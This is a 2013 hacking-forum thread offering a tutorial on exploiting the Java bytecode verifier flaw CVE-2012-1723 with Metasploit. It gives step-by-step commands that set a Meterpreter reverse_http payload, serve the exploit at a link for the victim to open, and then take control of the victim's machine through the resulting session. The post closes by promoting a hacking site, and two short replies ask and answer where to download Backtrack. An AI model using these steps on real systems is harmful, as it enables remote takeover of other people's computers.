Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Tutorials (https://sinister.li/Forum-Tutorials) +--- Thread: Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code (/Thread-Hacking-Remote-Pc-by-Exploiting-Java-Applet-Field-Bytecode-Verifier-Cache-Remote-Code)

Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code - asadxeo - 09-01-2013 Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code Execution CVE-2012-1723: A vulnerability in the HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checking. A specially-crafted class file could possibly use this flaw to bypass Java sandbox restrictions, and load additional classes in order to perform malicious operations. The vulnerability was made public by Michael ‘mihi’ Schierl. Requirement: Attacker Machine: Backtrack Victim Machine: Windows (install JRE un-patched version ) Step1: Launch the Metasploit console Open the Terminal in the Attacker Machine(Backtrack). Type "msfupdate" , this will update the metasploit with latest modules. Now type "msfconsole" to get interaction with the Metasploit Framework Step 2: Type "use exploit/multi/browser/java_verifier_field_access" and follow the below commands: msf exploit(java_verifier_field_access) > set PAYLOAD java/meterpreter/reverse_http msf exploit(java_verifier_field_access) > set LHOST [Backtrack IP ADDRESS] msf exploit(java_verifier_field_access) > exploit Step 3: If you follow the above commands correctly, you will get the following result. Copy the url and open the link in the victim machine. Once the url loaded in the victim machine, it will launch the exploit and creates a new session. Now type "sessions", this will show the list of active sessions . Type "sessions -i 1", this will open the connection to the session with the id '1' and bring you to Meterpreter. Meterpreter will help you to interact/control the Target. References: POC: http://schierlm.users.sourceforge.net/CVE-2012-1723.html Metasploit Module: http://www.exploit-db.com/exploits/19717/ I HAVE VERY AWESOME HACKING TUTORIALS ON MY SITE HAVE A LOOK Hackers Authority LIKE OUR FACEBOOK PAGE AND JOIN OUR SiTE TO GET LATEsT HACKS UPDATES RE: Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code - uxihacker - 09-04-2013 WheRE cAN i download backtrack 5 RE: Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code - asadxeo - 09-04-2013 you can download backtrack 5 from here http://www.backtrack-linux.org/downloads/